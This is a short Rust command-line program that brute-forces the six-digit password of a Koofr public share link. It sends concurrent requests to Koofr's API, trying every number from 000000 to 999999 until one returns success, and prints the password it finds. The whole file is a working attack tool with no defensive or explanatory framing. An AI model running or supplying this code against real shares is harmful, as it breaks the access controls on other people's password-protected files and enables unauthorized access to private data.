1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
use clap::Parser;
use reqwest::{Client, StatusCode};
use std::sync::{
Arc,
atomic::{AtomicBool, Ordering},
};
use tokio::task::JoinSet;
#[derive(Debug, Parser)]
struct Cli {
link: Arc<String>,
#[arg(default_value_t = 0)]
start: u32,
#[arg(default_value_t = 999999)]
end: u32,
}
async fn query_api(client: &Client, link: &str, pass: u32) -> Result<Option<u32>, u32> {
let url = format!("https://app.koofr.net/api/v2/public/links/{link}?password={pass:06}");
if let Ok(resp) = client.get(&url).send().await {
match resp.status() {
StatusCode::OK => Ok(Some(pass)),
StatusCode::UNAUTHORIZED => Ok(None),
_ => Err(pass),
}
} else {
Err(pass)
}
}
#[tokio::main]
async fn main() -> anyhow::Result<()> {
let args = Cli::parse();
let client = Client::new();
let running = Arc::new(AtomicBool::new(true));
let r = running.clone();
ctrlc::set_handler(move || {
r.store(false, Ordering::SeqCst);
})
.expect("Error setting ctrl+c handler");
for passes in (args.start..args.end).collect::<Vec<_>>().chunks(4) {
if !running.load(Ordering::SeqCst) {
println!("Stopped at:\t{}", passes.first().unwrap());
return Ok(());
}
let mut set = JoinSet::<Result<Option<u32>, u32>>::new();
for pass in passes {
let link = args.link.clone();
let client = client.clone();
let p = *pass;
set.spawn(async move { query_api(&client, &link, p).await });
}
while let Some(Ok(res)) = set.join_next().await {
match res {
Ok(Some(num)) => {
println!("Found:\t{num}");
return Ok(());
}
Err(num) => eprintln!("Error on:\t{num}"),
_ => (),
}
}
}
Err(anyhow::anyhow!("Nothing was found"))
}
|